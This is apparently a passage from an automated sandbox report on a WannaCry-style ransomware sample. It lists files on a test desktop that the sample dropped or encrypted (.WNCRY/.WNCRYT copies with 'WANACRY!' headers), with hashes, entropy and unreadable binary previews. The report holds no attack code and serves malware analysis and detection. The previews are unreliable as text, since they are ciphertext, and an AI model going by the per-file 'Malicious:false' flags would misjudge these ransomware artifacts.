                                      Preview:WANACRY!.........>A5.F.....kk/...........W.]...Ib......2....4..}..|MP.6...=.x.z.226...|...[~nLI.dn......0 ..@..4... ...k...{X.G....t.E..B.......O.,E...6.....2i. ....j.1..L......*..7...w.Qb..........F.......+K.."..P|..M..av..h...v3^.#....m.....fI..J..\<g^..............B..M.0Nm......f..L.a.Hv.N5MS.8.....kf.n.}.oW.j....t,<Q....O...........\.y....x/'Urh...W7.g..=....XX.:.C...h.6/.U.ao.._..X......Z.?.|f.|.J.N.%#...:..0.....{.....A...z...".V.^.g2.B|..W~..K.u.V,.Cw)....L..5.l.-&.os.4Oi...i[).{"......p..p!..."J.6"...`i.r.R"8.]9,..l...KG4.....+....(h..#2)NE.S.....r....Y.l)..._.@.G..\P.ht.|.mf&.g5...3u...].#..s.%.cu..>u...J@....ww{FL.G..n.Vl.vc..}R\.......H...p.&&...|..........^.a.Q.....3X...9.............Gk..V..h...}..}%..&......F..n`...6.vEej..e}..=.../..d..GA....~......Y..|R.....m\..X..W..y.[.m.....S.h.L).h.....F.9....u#.|6..L..W\..bB..}.v8.a.:..=.T."....{.Zx....~...........{..PG. .Ol.t...MZ.i.._...69r..j"...8N...y@.....}ZhIm..T@..S.o..baUx.,f.ev....

                                      C:\Users\user\Desktop\CURQNKVOIX\WKXEWIOTXI.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.831225845835948
                                      Encrypted:false
                                      SSDEEP:24:bkaWGVZ6YvDXRTrW5fwIv1LtkQhrHfPZNZEWnbPA+LQYrE+ozZBGv0BklU0kRCJU:bkCZ5XYlwIv1L5HnZcWnc03Q9BGv0Bki
                                      MD5:F2F991DEC7947B05BBA0A13BFBEAF8CA
                                      SHA1:ECC581E968A1A6C249FD63C4A8CDCFE4FFC9D946
                                      SHA-256:86690DA84388C9B0AF11687B42AAA6BC89866135A2799B33679F7362038BC2D4
                                      SHA-512:CAB7F90BE4FD5C97A772EF4D565FED3749C48A30C64AE0681936F7CC3820D649F74AB3FF78B9EC560D55631E873E8F7304768436B26773FB79005346BD2652C1
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.........>A5.F.....kk/...........W.]...Ib......2....4..}..|MP.6...=.x.z.226...|...[~nLI.dn......0 ..@..4... ...k...{X.G....t.E..B.......O.,E...6.....2i. ....j.1..L......*..7...w.Qb..........F.......+K.."..P|..M..av..h...v3^.#....m.....fI..J..\<g^..............B..M.0Nm......f..L.a.Hv.N5MS.8.....kf.n.}.oW.j....t,<Q....O...........\.y....x/'Urh...W7.g..=....XX.:.C...h.6/.U.ao.._..X......Z.?.|f.|.J.N.%#...:..0.....{.....A...z...".V.^.g2.B|..W~..K.u.V,.Cw)....L..5.l.-&.os.4Oi...i[).{"......p..p!..."J.6"...`i.r.R"8.]9,..l...KG4.....+....(h..#2)NE.S.....r....Y.l)..._.@.G..\P.ht.|.mf&.g5...3u...].#..s.%.cu..>u...J@....ww{FL.G..n.Vl.vc..}R\.......H...p.&&...|..........^.a.Q.....3X...9.............Gk..V..h...}..}%..&......F..n`...6.vEej..e}..=.../..d..GA....~......Y..|R.....m\..X..W..y.[.m.....S.h.L).h.....F.9....u#.|6..L..W\..bB..}.v8.a.:..=.T."....{.Zx....~...........{..PG. .Ol.t...MZ.i.._...69r..j"...8N...y@.....}ZhIm..T@..S.o..baUx.,f.ev....

                                      C:\Users\user\Desktop\CURQNKVOIX\ZTGJILHXQB.pdf

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.812644109882017
                                      Encrypted:false
                                      SSDEEP:24:MarP5gn6Aj6uEuGq1NrqGJoZaPJDTGJA0AZSH1jXaWe:V5g5ZT1JwKJCRk09s
                                      MD5:2C5B98388F764CE8B25CA22E9FF17EA4
                                      SHA1:5FBADF43559E03F457F8F7604DE58363A02FFF02
                                      SHA-256:2464877CE922572E9B42263AFDAE13EEE37FE24A82735A0A295C4343B079CFD2
                                      SHA-512:913DC2010E8C492DD06F90D2E20022E35D01572D759E9BFE67F414F322AFEDAEDE5BB86BAAECA9B90276F0FCB13F6E1BE48B79D05EC8B3A59B140B350A7D30F5
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:1...C4x6......&.D.MJ.)...f.d..m.A..C.m.....z..<mu;.:..Y..BA%t..',).5L.(.@..uc..A....T..=..aJ....6[z$"..6...5.Wy9%......r._..v*..jz`9r.o..|3......3Q.7.Sl...a..H.l4..6.;..Xg+.`.c.7u.*. *.J...m..IH....E.I.R.3k.X.t..E..b$&..<..l.V...`.A>...@+...d..)Y..q........m...b.!.5.p.<...C.`.c`a...i.'..B...I.....U.=P.D.y..`.1.DA....Pp{c...(....Y.`_Gx.....3.=@e..z....S.8...].n..../...............>...*.r..5..[.}..F...I.....>.)2^.b.|R...G..*.....#Q.I.L....?..[.......%.C...9.U......3........C.xOR,..G.o.?.u*..n.-..T.D.6.....Zd...5AjB......u..g\.*....f.c.....D....%.I........&.f..(.x.o.nu.....X.....w..0(.#.)*i...#Zu..`<.7/.T..{c1..$`S.5b.u.x.W..lsh.....4(_.YTc=';..S.7C............L.2....n@>..% .`.S...........r.:.kY."B0...p...A..y.,..v."K..Of..oH..9w........#{....$...)4...4Y.....-.@..fg.w~..c<......J...I.x..O.....P.".m...7.....wo7.<....f.Z(.UE....P.G..hb...<L.YF....Y..D..8~b.M+s-..Y.~..:..Tu/.....(..xVg,...l...g.7..+2*;!oc...P...Y..........y.j7......J.....ZH...

                                      C:\Users\user\Desktop\CURQNKVOIX\ZTGJILHXQB.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.843310530694187
                                      Encrypted:false
                                      SSDEEP:24:bkSsb1E4jnfFXVNCnnie8R+Zj+tQqvSRTm/VA/TZVecdsKqVdFAc:bkSsBjfFlNQnie8RGoQnSVAbZVPbqVcc
                                      MD5:A12BA4CDD9AF2CD4378F2AA7E49AC436
                                      SHA1:26547D0766AE7908881D4134846C68946C78630C
                                      SHA-256:7D3F79FBC9AA0604CD406B4AB21A3324A7B6C7136938CAFFC1C286941BE5A833
                                      SHA-512:965018EBB07DB91D0AB294408759A42091D1156AF3C68CC78C301D70AA84B10DEB986F754570D66F5AA0927AB5E47D11ECF18137496F28FDFC5C8949FBF9EA42
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....6..E..=d`.$7....g .ok.c.F.].ZC(?.u.!@.e.e.{.Z4.D.....Aw.n{.C..Aa......@..Q.....d.=....{S_...V...PVjx................uDcE+...l..w=..?o....>.....DG..dV.....v..o8........;....R.V.......vP^.v......>.$#U...Q..j..T.....x.....z.....C.w...}.;R.......j.............7 ...IJ...X}...?....H....fv .#Rr'.sMF=2....u3.....E...q.|.+.....X.a.Q.\.=L..."....7.K...=.".HiqZ.!.&..&....|/..>w.J.k..KI.5.21,r|.]wI..n/h.n..hD.d.....K.x...g..Y.l.N.5R.?.9.!L.......3-.Ar../]w.z.}y/u..j..X.:YW...].&r- A....\.....@VC.ugZ..2F.....Q,.1.....{.$.Ve..I..58Q..........T.I*=..HqF....LM.p."....L^..b4|.p......i.,..OE.*.<>a.d_(.._.Np3R... ..x_nZ......si....4US..{..;v........6t..&..G..&`...Q....Q....&k.%...E..@!E`"......:z..'.b......"59sy....+..N..5,~..5..5.".u.!!>.Eo..z..A.."..".A...*/O.(. .6W.2pU.....v.;.....&...".....p..e.f...r.[R.+}.._.....(.a....).>V......dEn......d`,.X`......#L.....p.%.\:~...vB....@.].:5..g.,.*..1..P.vNw.p.....w.G.......A31...H..B]...~...y.c...)...+..X

                                      C:\Users\user\Desktop\CURQNKVOIX\ZTGJILHXQB.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.843310530694187
                                      Encrypted:false
                                      SSDEEP:24:bkSsb1E4jnfFXVNCnnie8R+Zj+tQqvSRTm/VA/TZVecdsKqVdFAc:bkSsBjfFlNQnie8RGoQnSVAbZVPbqVcc
                                      MD5:A12BA4CDD9AF2CD4378F2AA7E49AC436
                                      SHA1:26547D0766AE7908881D4134846C68946C78630C
                                      SHA-256:7D3F79FBC9AA0604CD406B4AB21A3324A7B6C7136938CAFFC1C286941BE5A833
                                      SHA-512:965018EBB07DB91D0AB294408759A42091D1156AF3C68CC78C301D70AA84B10DEB986F754570D66F5AA0927AB5E47D11ECF18137496F28FDFC5C8949FBF9EA42
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....6..E..=d`.$7....g .ok.c.F.].ZC(?.u.!@.e.e.{.Z4.D.....Aw.n{.C..Aa......@..Q.....d.=....{S_...V...PVjx................uDcE+...l..w=..?o....>.....DG..dV.....v..o8........;....R.V.......vP^.v......>.$#U...Q..j..T.....x.....z.....C.w...}.;R.......j.............7 ...IJ...X}...?....H....fv .#Rr'.sMF=2....u3.....E...q.|.+.....X.a.Q.\.=L..."....7.K...=.".HiqZ.!.&..&....|/..>w.J.k..KI.5.21,r|.]wI..n/h.n..hD.d.....K.x...g..Y.l.N.5R.?.9.!L.......3-.Ar../]w.z.}y/u..j..X.:YW...].&r- A....\.....@VC.ugZ..2F.....Q,.1.....{.$.Ve..I..58Q..........T.I*=..HqF....LM.p."....L^..b4|.p......i.,..OE.*.<>a.d_(.._.Np3R... ..x_nZ......si....4US..{..;v........6t..&..G..&`...Q....Q....&k.%...E..@!E`"......:z..'.b......"59sy....+..N..5,~..5..5.".u.!!>.Eo..z..A.."..".A...*/O.(. .6W.2pU.....v.;.....&...".....p..e.f...r.[R.+}.._.....(.a....).>V......dEn......d`,.X`......#L.....p.%.\:~...vB....@.].:5..g.,.*..1..P.vNw.p.....w.G.......A31...H..B]...~...y.c...)...+..X

                                      C:\Users\user\Desktop\GRXZDKKVDB.mp3

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.777634850510706
                                      Encrypted:false
                                      SSDEEP:12:QTT4y52zyaCFK7EjO8leni4tAOdY3ZktMTjxvwCREr6d/iDnG6bh2/iFdEGErAZ0:FyYy0Eq8QnY6aTHRlknG620EGLUA+df
                                      MD5:1DB9F0E93331D42B1CCDC02E9C4BF24A
                                      SHA1:6F4D803DF782980028D92ED031A420AE837E0571
                                      SHA-256:99B693ECC3FEA2DDBB08FCD75E8C3D652A2B4DF2439FA243B76BD4CA6F65F4E1
                                      SHA-512:715DA5F7CD795FB3498D3B159379602A5B414DD552329546C21215A28971621D509B140D276F94C9231904CBD12FF0AC5D8B20AA3FA051E341D616EC7DC1A7EB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.q..,.%p..zg...9....M..&.]Y....y.. ..Z..........%,....6.~n........<{..B..._...5.<W..54...k.5...O"...b6.u.bR`...O...{.$.O...Z..+V*...(2...~.h.a.He....@:.rN.h...w...v.....r9..q...n4<.9p.;...&....*%.{$.m...Q....D....}w....v........xw.b..g.Y.2.....8Qd[a...[.$....Q....:.X..._k.r-....q(..R.rq<+.E..`...!...L...I....B.....2-..,...V............H6..4...8.%...'f.K..G.....d..j...O).,....R..O..........y...R.69..IA..."..W.xl.~7..<.vx.+...-..zK.}.q.3h.y....V.....4B...#.4.g.....u......~.X...q9.$.s...I.Iz}.:e......^"Y...D...a.~.)u.9;...C.........+..O.+.....i-_L.T<..5..x.w.. {..d.o..f...<..RQ....#fd..._....;.^\,li.%.....*...5..c..M..r_@.X.~..........O..I.-...b.s............%.T.j..\v,'..H...E. ap..^#e....s&........F.=m4%.U...k..9y..EL.n.....~............O...Hl..m.,....9..-..5p.-.{......+n4...Sap....H..a.d....;...v:;..N.........1..}%l5.p-~...........W.\.@J.fF^.)c.%.....TlX....}..t\.,8.Y...y.VO...ocvrK?y[]/.O.b....D...u.}......,$....0_...^.|R......_.".=`..

                                      C:\Users\user\Desktop\GRXZDKKVDB.mp3.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8095645171568835
                                      Encrypted:false
                                      SSDEEP:24:bkrVySNscYJOx4LjdpEep7PEFAKVJcWUTIYPS3i0hDW7t65AWrkIuLybXplCLWUe:bkrVXVidptEFj7REPSSSDKtJukIi2plH
                                      MD5:237D5D475D5D46A1C7611A07BB92DA4C
                                      SHA1:F0E4A34D55938E038F5839F107307E3DC32C4CDF
                                      SHA-256:737432A1F8D0615FE899CF1066FFE102C17CF5E3AE7585B08F35E91FEAC588DA
                                      SHA-512:3AFFF0915F281242BF689CC1ECEFD53FFD2DB9F71BBDC1335752192B356EB2F59A76F1803130DB1C283FABA77D131B73DC705AA0D49FDA315974D94AF256334A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....[U....K...*.e.`..=hR..(...G...D2.[P....LIXdq.M..T....HL.].oqgA.#:v...'..wX....g.(.Y...g.<.k...V...1nf)A..M.Y.T....1~.S.rs.H....."&.04....)4..m{l.S...=.....~u1..2y.I...1...qI.Y..".n .bt&.0i'.3..R..I..z..tj...f{..f8.$m8..k..p..'.>....!'..../....c.............K..n".........0"....GXR.H.*.."..<>....dI..3g..z..."<. ?..Y.......cF.+)>aq.i.L.M.h.e.~.]..{.Z~mH.....V....w.N.......6d....J.7?ON.<.#..!ez./..o...t.h.......pv.,...p..n:....w..>......P+-...V._..+..P..V.I...N.Y`......qW.Cop.....l.cO..A...`...'.T..#..S6`\.h............sLY....j...!...B.Nj...em%.^......`......&-'oP"K..di...>..'*.lb......S..n..v...C_..D....-.JEJOy.S+...".e.2>.|.(...\.R&.....3...-/./..C)/.0.N..c.lj(j.........8..[O.i....'i.p%..u$........_+..*0{.x]..{!)q0.a....de.Q.S`....Q.........I?...B....rZ.FH.,(.^Yu.l....gx..9.....`....i.N.kL.....H..jG.B....uOX.q.y~... .......U......Of\..........Bw.0.?.&...>A.Z.v)..d&.B.^.f.Z...t.7G.CV. .....|}'..`2Z#.g)L..o.eC..Yj..=...P.Y.eO)..F...H....

                                      C:\Users\user\Desktop\GRXZDKKVDB.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8095645171568835
                                      Encrypted:false
                                      SSDEEP:24:bkrVySNscYJOx4LjdpEep7PEFAKVJcWUTIYPS3i0hDW7t65AWrkIuLybXplCLWUe:bkrVXVidptEFj7REPSSSDKtJukIi2plH
                                      MD5:237D5D475D5D46A1C7611A07BB92DA4C
                                      SHA1:F0E4A34D55938E038F5839F107307E3DC32C4CDF
                                      SHA-256:737432A1F8D0615FE899CF1066FFE102C17CF5E3AE7585B08F35E91FEAC588DA
                                      SHA-512:3AFFF0915F281242BF689CC1ECEFD53FFD2DB9F71BBDC1335752192B356EB2F59A76F1803130DB1C283FABA77D131B73DC705AA0D49FDA315974D94AF256334A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....[U....K...*.e.`..=hR..(...G...D2.[P....LIXdq.M..T....HL.].oqgA.#:v...'..wX....g.(.Y...g.<.k...V...1nf)A..M.Y.T....1~.S.rs.H....."&.04....)4..m{l.S...=.....~u1..2y.I...1...qI.Y..".n .bt&.0i'.3..R..I..z..tj...f{..f8.$m8..k..p..'.>....!'..../....c.............K..n".........0"....GXR.H.*.."..<>....dI..3g..z..."<. ?..Y.......cF.+)>aq.i.L.M.h.e.~.]..{.Z~mH.....V....w.N.......6d....J.7?ON.<.#..!ez./..o...t.h.......pv.,...p..n:....w..>......P+-...V._..+..P..V.I...N.Y`......qW.Cop.....l.cO..A...`...'.T..#..S6`\.h............sLY....j...!...B.Nj...em%.^......`......&-'oP"K..di...>..'*.lb......S..n..v...C_..D....-.JEJOy.S+...".e.2>.|.(...\.R&.....3...-/./..C)/.0.N..c.lj(j.........8..[O.i....'i.p%..u$........_+..*0{.x]..{!)q0.a....de.Q.S`....Q.........I?...B....rZ.FH.,(.^Yu.l....gx..9.....`....i.N.kL.....H..jG.B....uOX.q.y~... .......U......Of\..........Bw.0.?.&...>A.Z.v)..d&.B.^.f.Z...t.7G.CV. .....|}'..`2Z#.g)L..o.eC..Yj..=...P.Y.eO)..F...H....

                                      C:\Users\user\Desktop\IPKGELNTQY.pdf

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.81380094449565
                                      Encrypted:false
                                      SSDEEP:24:8a0af89iRyXpIFnuA8JLqPF532qFrDtRUn4NM+lFWOC8:r0F9/pI8lqPbGqZ5yKWF8
                                      MD5:25F3387BC3E35BD2BD032BBE8BC83A8F
                                      SHA1:0E63399E1EDF4AAACC1EFF524734E4D4D76117C4
                                      SHA-256:E4751B2F844A0B4EA8BACBB1296C3B1A81B13A3865C144DEC9039C018474998F
                                      SHA-512:73C5E1880A3F81CD00585045E9F9C2CD43C8DBF4F298055B0B798B07C7A35ADD5A9DE19757A95B315D68AA5514B203F1D7739742B7F3D3798EFB12BCFBCEFC77
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:s......Y..'|`.x.t.&.m/.3!;C.~yO.*q.h..81.(Q.....@..?U.....i.z+6,:.E2.9.....2.r...?..Q....s..t.^..m.,O3:[..;.....[#^...j..5.A.....7K..*.D&.z.If.i..TQ..:....'...\G.{.^g.'...........+....}`.@?O;..ga.]....H.91......5.a..j3}...`..,P..&.....h.M"..1=.;.....6...hz.;@.&.-..-s.*.........{...q...x.#...rn....Y..7.....Jl....DO.....`.8..'..]*...Y........"T...J1..V.r.T.6........S%|*~..D,gP..a.{<k..Y.P..~...:Zp.%..l.....J8}......`.+............4......<S..7sTZM.,.b...)0.....t..tdB..e.2.H..L?..ZV..k.9.^..^.210.kQ.pUn..M.v0.....X.Y..D.+..<Y./).y.BN..$..N...L.x....l.q...1....a*...k.gz.!.....D.0.....GeAj..\]9:...R|..5...8.nN..PY......$5.u.z.t.U..+..$...a....!V..J.>...|....7.\.l.._...H..o......\.q".....{.....X..c.]Y..p.#...(.......{.....B,{k.........u.hO*....?..D........U8+lI)^9?j...o...=....,Vw...ZP.."2.RnG.s]c5.J.]...;x...x9b..@.,.b...B..+.TR.,.R.g.G...].^v..m|../.~Z.l.J.,H7..1g.I..a....G..A.&...D...=..Q[6.....,..<........L.O....(w.[ &.t"gY...9...kg#.....

                                      C:\Users\user\Desktop\IPKGELNTQY.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.836998530271217
                                      Encrypted:false
                                      SSDEEP:24:bke88/DhFxJK1oI5UGOxB9Rlipx2UbpJhoyWM7X1709UMasWXN5zr:bkWZpRhlirnCyR7XW9Ul95X
                                      MD5:AAFD5D401B17C76558E024D1BCF2B99B
                                      SHA1:F628F765E8F0213F346CEF8D04D647796DE72973
                                      SHA-256:0474078D60C28720DF23E46D40FFF81A29C708BCF1767B1A2334DC5700C04847
                                      SHA-512:A4C78857D71767B0FC77843D4BCAA4A1379EB0783F2F6BE77AA04A9E7EF32E9F4F0560BF0FEE740A7C03AB8009244DCF7D4DF4CC98AE2010E817B535397D593C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....Fh...Rbt..N...).CoC..\.0...zQ ....I!K..6<.........[+...dFm.Sv,.....F;...."....hE.F#kS5.......T.).....E..u.r:/..9..GX@..|.J.(.f.pA....o4...kBk..u..4.bb..0B.#.3..."..K...VK.....Z.v.t..v.U.^^d-.g<o5.e..4.....B`._M]l.q.-a..M..c......h.R..q.u.bJO}Ui.............D..N.+.M...s..z..B8....~....MK.:...P.<y)....G.F..6.S...5K.1.%......#......=%e.v...q.....0U..--.}ew.k.ew';B.Y......p.=...W...;3.t..|..T..7Q...{..#...u..^A..pI..6-_.Q]...<]/cp'..D..=..F1../..{.k..f.^d^.d.k....#.@......[VI..t.i3`..!.=..R(<hoY.......g...3..1........aa..8.C...k;...t....|.9V.<;;.z.(IM...3.=.ik..(..H....0H#......r...v.z.._..;;.I..Ze+}B.........qhLtw..8K.X^.M...B..H]eji...-.S....A..P0...7.5.a.f2....ipL....J...9~W?.3.o%..sKa'(.{..q.D.-O...E%.8.2..Ej0.b.P)^.>.......N9...S..fX.O2.......?....2/ge../......N...V..6...0C{...6N.9!\...b...u_.5..M;+.D..UN.........au%a,U..2kiw.u.....~........f.....]...1..d.w..E..*.z...T....!...l...{.=...aX.NM.dG.w.......CO"..^.z../.Z.1.@.

                                      C:\Users\user\Desktop\IPKGELNTQY.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.836998530271217
                                      Encrypted:false
                                      SSDEEP:24:bke88/DhFxJK1oI5UGOxB9Rlipx2UbpJhoyWM7X1709UMasWXN5zr:bkWZpRhlirnCyR7XW9Ul95X
                                      MD5:AAFD5D401B17C76558E024D1BCF2B99B
                                      SHA1:F628F765E8F0213F346CEF8D04D647796DE72973
                                      SHA-256:0474078D60C28720DF23E46D40FFF81A29C708BCF1767B1A2334DC5700C04847
                                      SHA-512:A4C78857D71767B0FC77843D4BCAA4A1379EB0783F2F6BE77AA04A9E7EF32E9F4F0560BF0FEE740A7C03AB8009244DCF7D4DF4CC98AE2010E817B535397D593C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....Fh...Rbt..N...).CoC..\.0...zQ ....I!K..6<.........[+...dFm.Sv,.....F;...."....hE.F#kS5.......T.).....E..u.r:/..9..GX@..|.J.(.f.pA....o4...kBk..u..4.bb..0B.#.3..."..K...VK.....Z.v.t..v.U.^^d-.g<o5.e..4.....B`._M]l.q.-a..M..c......h.R..q.u.bJO}Ui.............D..N.+.M...s..z..B8....~....MK.:...P.<y)....G.F..6.S...5K.1.%......#......=%e.v...q.....0U..--.}ew.k.ew';B.Y......p.=...W...;3.t..|..T..7Q...{..#...u..^A..pI..6-_.Q]...<]/cp'..D..=..F1../..{.k..f.^d^.d.k....#.@......[VI..t.i3`..!.=..R(<hoY.......g...3..1........aa..8.C...k;...t....|.9V.<;;.z.(IM...3.=.ik..(..H....0H#......r...v.z.._..;;.I..Ze+}B.........qhLtw..8K.X^.M...B..H]eji...-.S....A..P0...7.5.a.f2....ipL....J...9~W?.3.o%..sKa'(.{..q.D.-O...E%.8.2..Ej0.b.P)^.>.......N9...S..fX.O2.......?....2/ge../......N...V..6...0C{...6N.9!\...b...u_.5..M;+.D..UN.........au%a,U..2kiw.u.....~........f.....]...1..d.w..E..*.z...T....!...l...{.=...aX.NM.dG.w.......CO"..^.z../.Z.1.@.

                                      C:\Users\user\Desktop\NEBFQQYWPS.png

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.823273328323067
                                      Encrypted:false
                                      SSDEEP:24:hskdcTLCrQESGTR+YNrDWLq+dAyT+2M2XGRH6I2HLnvkm47icBmpC:hu68w+imLqOHcH6Pvpi4C
                                      MD5:9FC818D99ED3CF869A802E52A5E3034E
                                      SHA1:DE9101F5A758694396F7620B3CDE13515DB48FF3
                                      SHA-256:49298D343A83ACF74985C0483DFE3195FB77A592B60AA882B72CC93707B58DEE
                                      SHA-512:B667627460E844B0F802CF930A29AF8594799436ED46CB1519ACCD8C77C826A84C15B8BFB2A95886EA52147FB78790286EC240107499C9984888A46CDF5ADE4E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..F.....@G3slL...4..$w(_9}.!.z..C.B|d.4..=H`D.:....(,4.O.ZIG...g.i..1k..o2{.........o..(..B.1.;.4_...F.D.S...K.....ZwB.i{:.M..,....c..DhT...E....a......U..is.\.+dK.....@...D0..&...f....+.....R.B.6..j.:.1.2.H....C...pk4..(...T..d...]... .9.....wQC.g.LI..d..o...`u..S.:...n...[Jy.`"T..i./..F.4q..O.....%......;Q...5...+f....Ve..~NR...^..w.O.J..T....J.d.D.R=.)....{y).r........q...9n...V.&.......g..5.........?.;..[..J.......fMe./.sF,l~t....P...~.K..|.YZo.4}.....Z.i.%7..&.w9Z.R.....E.l........g'......c.u.$.RiR......;Z@.....{... ..;.......s.[.'...OW.fVy....@=.3.c7.........Xo..9.7e6:.........).......c.....l.^.+...E&....]B.N...CH........DZ ..I..j.;a6......F=.IJR.....%.,u.H.H..t|.....Ez.....8I.$....~b.a.....2.P..S#...O....`c../.H[v.....F<c.k..e..QoL..t.BS.......Dt.6.Jz.....q....#..=~...._gf5.;6.36..........,7$4..4l...K!.....G.....,...d..=.r}.U...l..0L.uH..........I./(..I...#...i...]...WKG}-.!bZ...M.].b.=9.L...j....7...g.aJ.4Y ..A.........%.@m-.,u...

                                      C:\Users\user\Desktop\NEBFQQYWPS.png.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.864508577891494
                                      Encrypted:false
                                      SSDEEP:24:bk92+9SrySYuOTf40ABuiWeEFLDnYePYeD2tm7UAScnIJBEBN5BseAdpd3nDVq7q:bk4lryS1Oj4Ye4nHnRiCseAhzYW
                                      MD5:4DB2805A556338075B3AC3800CA8962E
                                      SHA1:3619B0A7F91C9CDC3555797F5A8D2BA1768EA58A
                                      SHA-256:C0E1DEF3B9E6C6F7C9742B030DF6F0F66B3282465DB85BE5CF949ABDAAB58F0A
                                      SHA-512:88D45F76DAE711E4508321BAA06230C3C355BE263CC2A6406B97C8EF7D0E33731A961EEB83BF67F3EE23CB9A244E2DE8D2B9D9BCA1C29BEF157965232AC90C4B
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....zI=.h$.6.j.b....E.^%..L.E...rIt.|..H.A._2...n.P....}!dkG..q............J..f.....w.+\........ZV.y@............./ ...t]...'N..2........>A^z`..'....A.f....5..F....M...e.!.|.uZ.G.A..~.NX.}...D...D....:...<?......a.......@..0..w(#..<Ct...;..............f....Y.u.l2.... &....dH.@|.9...H.[......g...................;_...$....k....=.8\......]..f.,.v.^%uZo.6.........u....n.8..]..c.......B..nC......w..k.'.......eX..pvs...Q/.nP.M....w..........4.k....`.;.,xns.H0.....V.{..l.....l.T...:.(<..Sr..}.gM...a.X.>.C....]w.qb......R.....N~......_..J1..L+&... .I.y&...]p.#...1G....r....Ey...a./.......rWTH=.8c.{.G.}R..W...2..%.#.{r.....Y.*%.G)...9...-./.@..M1.B.K4..2y....Za..W...}...[.).X(..)}...D.p..hCj...^.P~.......I..`O.k$.i....s......7.(...a..b.4..@.CER.u..t..z.#\.ek#?......G..6L2...4xj1..E..v.~.z...w..=..O\.....d....F#...)....H...T.RK.$.....' Q..K...x.B..]5.3aq......2.............L.~iX..?.. ....K]b.>j.-.._.m9......|..[.....,....N.-.

                                      C:\Users\user\Desktop\NEBFQQYWPS.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.864508577891494
                                      Encrypted:false
                                      SSDEEP:24:bk92+9SrySYuOTf40ABuiWeEFLDnYePYeD2tm7UAScnIJBEBN5BseAdpd3nDVq7q:bk4lryS1Oj4Ye4nHnRiCseAhzYW
                                      MD5:4DB2805A556338075B3AC3800CA8962E
                                      SHA1:3619B0A7F91C9CDC3555797F5A8D2BA1768EA58A
                                      SHA-256:C0E1DEF3B9E6C6F7C9742B030DF6F0F66B3282465DB85BE5CF949ABDAAB58F0A
                                      SHA-512:88D45F76DAE711E4508321BAA06230C3C355BE263CC2A6406B97C8EF7D0E33731A961EEB83BF67F3EE23CB9A244E2DE8D2B9D9BCA1C29BEF157965232AC90C4B
                                      Malicious:false
                                      Reputation:unknown
